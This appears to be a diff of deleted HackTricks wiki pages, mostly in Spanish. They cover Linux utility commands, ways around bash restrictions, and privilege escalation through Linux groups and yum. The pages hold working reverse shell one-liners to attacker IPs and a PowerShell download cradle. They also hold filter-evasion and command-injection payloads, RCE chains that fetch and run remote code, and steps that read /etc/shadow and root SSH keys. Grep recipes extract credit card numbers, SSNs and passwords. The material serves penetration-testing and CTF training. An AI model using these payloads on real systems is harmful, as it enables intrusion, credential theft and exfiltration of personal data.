curl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint
#Auth via JWT
curl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint
#Send Email
sendEmail -t to@email.com -f from@email.com -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content
#DD copy hex bin file without first X (28) bytes
dd if=file.bin bs=28 skip=1 of=blob
#Mount .vhd files (virtual hard drive)
sudo apt-get install libguestfs-tools
guestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd
# ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keys
ssh-keyscan 10.10.10.101
# Openssl
openssl s_client -connect 10.10.10.127:443 #Get the certificate from a server
openssl x509 -in ca.cert.pem -text #Read certificate
openssl genrsa -out newuser.key 2048 #Create new RSA2048 key
openssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" (newuser@fortune.htb)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificate
openssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificate
openssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)
# If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:
openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12
# Decrypt ssh key
openssl rsa -in key.ssh.enc -out key.ssh
#Decrypt
openssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz
#Count number of instructions executed by a program, need a host based linux (not working in VM)
perf stat -x, -e instructions:u "ls"
#Find trick for HTB, find files from 2018-12-12 to 2018-12-14
find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null
#Reconfigure timezone
sudo dpkg-reconfigure tzdata
#Search from which package is a binary
apt-file search /usr/bin/file #Needed: apt-get install apt-file
#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.html
echo "CIKUmMesGw==" | base64 -d | protoc --decode_raw
#Set not removable bit
sudo chattr +i file.txt
sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
## Bash para Windows
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
#Exe compression
upx -9 nc.exe
#Exe2bat
wine exe2bat.exe nc.exe nc.txt
#Compile Windows python exploit to exe
pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
#Compile for windows
#sudo apt-get install gcc-mingw-w64-i686
i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
#Extract valid IP addresses
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt
#Extract passwords
grep -i "pwd\|passw" file.txt
#Extract users
grep -i "user\|invalid\|authentication\|login" file.txt
# Extract hashes
#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})
egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt
#Extract valid MySQL-Old hashes
grep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt
#Extract blowfish hashes
grep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt
#Extract Joomla hashes
egrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt
#Extract VBulletin hashes
egrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt
#Extraxt phpBB3-MD5
egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt
#Extract Wordpress-MD5
egrep -o '$P$S{31}' *.txt > wordpress-md5.txt
#Extract Drupal 7
egrep -o '$S$S{52}' *.txt > drupal-7.txt
#Extract old Unix-md5
egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt
#Extract md5-apr1
egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt
#Extract sha512crypt, SHA512(Unix)
egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt
#Extract e-mails from text files
grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
#Extract HTTP URLs from text files
grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt
#For extracting HTTPS, FTP and other URL format use
grep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt
#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"
#Extract Floating point numbers
grep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt
# Extract credit card data
#Visa
grep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt
#MasterCard
grep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt
#American Express
grep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt
#Diners Club
grep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt
#Discover
grep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt
#JCB
grep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt
#AMEX
grep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt
# Extract IDs
#Extract Social Security Number (SSN)
grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt
#Extract Indiana Driver License Number
grep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt
#Extract US Passport Cards
grep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt
#Extract US Passport Number
grep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt
#Extract US Phone Numberss
grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt
#Extract ISBN Numbers
egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
```
## Encontrar
```bash
# Find SUID set files.
find / -perm /u=s -ls 2>/dev/null
# Find SGID set files.
find / -perm /g=s -ls 2>/dev/null
# Found Readable directory and sort by time. (depth = 4)
find / -type d -maxdepth 4 -readable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Writable directory and sort by time. (depth = 10)
find / -type d -maxdepth 10 -writable -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current User and sort by time. (depth = 10)
find / -maxdepth 10 -user $(id -u) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Or Found Own by Current Group ID and Sort by time. (depth = 10)
find / -maxdepth 10 -group $(id -g) -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r
# Found Newer files and sort by time. (depth = 5)
find / -maxdepth 5 -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer files only and sort by time. (depth = 5)
find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
# Found Newer directory only and sort by time. (depth = 5)
find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less
```
## Ayuda de búsqueda de Nmap
```bash
#Nmap scripts ((default or version) and smb))
nmap --script-help "(default or version) and *smb*"
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb
nmap --script-help "(default or version) and smb)"
```
## Bash
```bash
#All bytes inside a file (except 0x20 and 0x00)
for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
```
## Iptables
```bash
#Delete curent rules and chains
iptables --flush
iptables --delete-chain
#allow loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT
#drop ICMP
iptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP
iptables -A OUTPUT -p icmp -j DROP
#allow established connections
iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
#allow ssh, http, https, dns
iptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT
iptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT
iptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT
iptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT
#default policies
iptables -P INPUT DROP
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
```
{{#include ../../banners/hacktricks-training.md}}

319
src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md
View File

@ -1,319 +0,0 @@
# Bypass Linux Restrictions
{{#include ../../banners/hacktricks-training.md}}
## Bypasses de Limitaciones Comunes
### Reverse Shell
```bash
# Double-Base64 is a great way to avoid bad characters like +, works 99% of the time
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### Shell Rev corta
```bash
#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### Bypass Paths y palabras prohibidas
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost
# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami
# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard
# [chars]
/usr/bin/n[c] # /usr/bin/nc
# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64
#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h
# $@
who$@ami #whoami
# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64
# Execution through $0
echo whoami|$0
# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters
# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown
# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami
```
### Bypass forbidden spaces
```bash
# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test
# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd
# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
# Other way, just change each space for ${IFS}
echo${IFS}test
# Using hex format
X=$'cat\x20/etc/passwd'&&$X
# Using tabs
echo "ls\x09-l" | bash
# New lines
p\
i\
n\
g # These 4 lines will equal to ping
# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a
```
### Bypass backslash y slash
```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```
### Bypass pipes
```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
```
### Bypass con codificación hexadecima
```bash
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`
```
### Bypass IPs
```bash
# Decimal IPs
127.0.0.1 == 2130706433
```
### Exfiltración de datos basada en el tiempo
```bash
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### Obtener caracteres de variables de entorno
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
```
### Exfiltración de datos DNS
Podrías usar **burpcollab** o [**pingb**](http://pingb.in) por ejemplo.
### Builtins
En caso de que no puedas ejecutar funciones externas y solo tengas acceso a un **conjunto limitado de builtins para obtener RCE**, hay algunos trucos útiles para hacerlo. Por lo general, **no podrás usar todos** los **builtins**, así que deberías **conocer todas tus opciones** para intentar eludir la cárcel. Idea de [**devploit**](https://twitter.com/devploit).\
Primero que nada, revisa todos los [**shell builtins**](https://www.gnu.org/software/bash/manual/html_node/Shell-Builtin-Commands.html)**.** Luego aquí tienes algunas **recomendaciones**:
```bash
# Get list of builtins
declare builtins
# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash
# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa
# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords
# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}
# Read file with read
while read -r line; do echo $line; done < /etc/passwd
# Get env variables
declare
# Get history
history
declare history
declare historywords
# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!
```
### Inyección de comandos poliglota
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
```
### Bypass potenciales regexes
```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`
```
### Bashfuscator
```bash
# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'
```
### RCE con 5 caracteres
```bash
# From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Oragnge Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_
## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file
## Finally execute the file "g"
http://host/?cmd=sh g
# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*
# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### RCE con 4 caracteres
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'
# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'
# got shell
'sh x'
'sh g'
```
## Bypass de Solo Lectura/Noexec/Distroless
Si estás dentro de un sistema de archivos con las **protecciones de solo lectura y noexec** o incluso en un contenedor distroless, aún hay formas de **ejecutar binarios arbitrarios, ¡incluso un shell!:**
{{#ref}}
../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/
{{#endref}}
## Bypass de Chroot y otras Cárceles
{{#ref}}
../privilege-escalation/escaping-from-limited-bash.md
{{#endref}}
## Referencias y Más
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
{{#include ../../banners/hacktricks-training.md}}

23
src/linux-unix/privilege-escalation/exploiting-yum.md
View File

@ -1,23 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
Más ejemplos sobre yum también se pueden encontrar en [gtfobins](https://gtfobins.github.io/gtfobins/yum/).
# Ejecutando comandos arbitrarios a través de paquetes RPM
## Comprobando el entorno
Para aprovechar este vector, el usuario debe poder ejecutar comandos yum como un usuario con mayor privilegio, es decir, root.
### Un ejemplo funcional de este vector
Un ejemplo funcional de este exploit se puede encontrar en la sala [daily bugle](https://tryhackme.com/room/dailybugle) en [tryhackme](https://tryhackme.com).
## Empaquetando un RPM
En la siguiente sección, cubriré cómo empaquetar un shell reverso en un RPM usando [fpm](https://github.com/jordansissel/fpm).
El ejemplo a continuación crea un paquete que incluye un disparador antes de la instalación con un script arbitrario que puede ser definido por el atacante. Cuando se instala, este paquete ejecutará el comando arbitrario. He utilizado un simple ejemplo de shell reverso con netcat para la demostración, pero esto se puede cambiar según sea necesario.
```text
```
{{#include ../../banners/hacktricks-training.md}}

141
src/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
View File

@ -1,141 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Grupos Sudo/Admin
## **PE - Método 1**
**A veces**, **por defecto \(o porque algún software lo necesita\)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
Si este es el caso, para **convertirse en root solo puedes ejecutar**:
```text
sudo su
```
## PE - Método 2
Encuentra todos los binarios suid y verifica si hay el binario **Pkexec**:
```bash
find / -perm -4000 2>/dev/null
```
Si encuentras que el binario pkexec es un binario SUID y perteneces a sudo o admin, probablemente podrías ejecutar binarios como sudo usando pkexec.
Verifica el contenido de:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Ahí encontrarás qué grupos tienen permiso para ejecutar **pkexec** y **por defecto** en algunas distribuciones de Linux pueden **aparecer** algunos de los grupos **sudo o admin**.
Para **convertirte en root puedes ejecutar**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Si intentas ejecutar **pkexec** y obtienes este **error**:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**No es porque no tengas permisos, sino porque no estás conectado sin una GUI**. Y hay una solución para este problema aquí: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Necesitas **2 sesiones ssh diferentes**:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
```bash:session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Group
**A veces**, **por defecto** dentro del **/etc/sudoers** archivo puedes encontrar esta línea:
```text
%wheel ALL=(ALL:ALL) ALL
```
Esto significa que **cualquier usuario que pertenezca al grupo wheel puede ejecutar cualquier cosa como sudo**.
Si este es el caso, para **convertirse en root solo puedes ejecutar**:
```text
sudo su
```
# Grupo Shadow
Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Así que, lee el archivo y trata de **crackear algunos hashes**.
# Grupo de Disco
Este privilegio es casi **equivalente al acceso root** ya que puedes acceder a todos los datos dentro de la máquina.
Archivos: `/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Tenga en cuenta que usando debugfs también puede **escribir archivos**. Por ejemplo, para copiar `/tmp/asd1.txt` a `/tmp/asd2.txt` puede hacer:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Sin embargo, si intentas **escribir archivos propiedad de root** \(como `/etc/shadow` o `/etc/passwd`\) recibirás un error de "**Permiso denegado**".
# Video Group
Usando el comando `w` puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
El **tty1** significa que el usuario **yossi está conectado físicamente** a un terminal en la máquina.
El **grupo de video** tiene acceso para ver la salida de la pantalla. Básicamente, puedes observar las pantallas. Para hacer eso, necesitas **capturar la imagen actual en la pantalla** en datos en bruto y obtener la resolución que está utilizando la pantalla. Los datos de la pantalla se pueden guardar en `/dev/fb0` y podrías encontrar la resolución de esta pantalla en `/sys/class/graphics/fb0/virtual_size`
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archivo **`screen.raw`** y seleccionar como tipo de archivo **Datos de imagen en bruto**:
![](../../images/image%20%28208%29.png)
Luego modifica el Ancho y la Altura a los que se usaron en la pantalla y verifica diferentes Tipos de Imagen \(y selecciona el que muestre mejor la pantalla\):
![](../../images/image%20%28295%29.png)
# Grupo Root
Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** o **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
**Verifica qué archivos pueden modificar los miembros de root**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Grupo Docker
Puedes montar el sistema de archivos raíz de la máquina host en el volumen de una instancia, de modo que cuando la instancia se inicie, carga inmediatamente un `chroot` en ese volumen. Esto te da efectivamente acceso root en la máquina.
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# Grupo lxc/lxd
[lxc - Escalación de Privilegios](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

338
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md
View File

@ -1,338 +0,0 @@
# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Interposición de Funciones
Crea un **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros de función** que se refieran a las funciones **original** y **reemplazo**.
Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interponer printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
En ObjectiveC, así es como se llama a un método: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
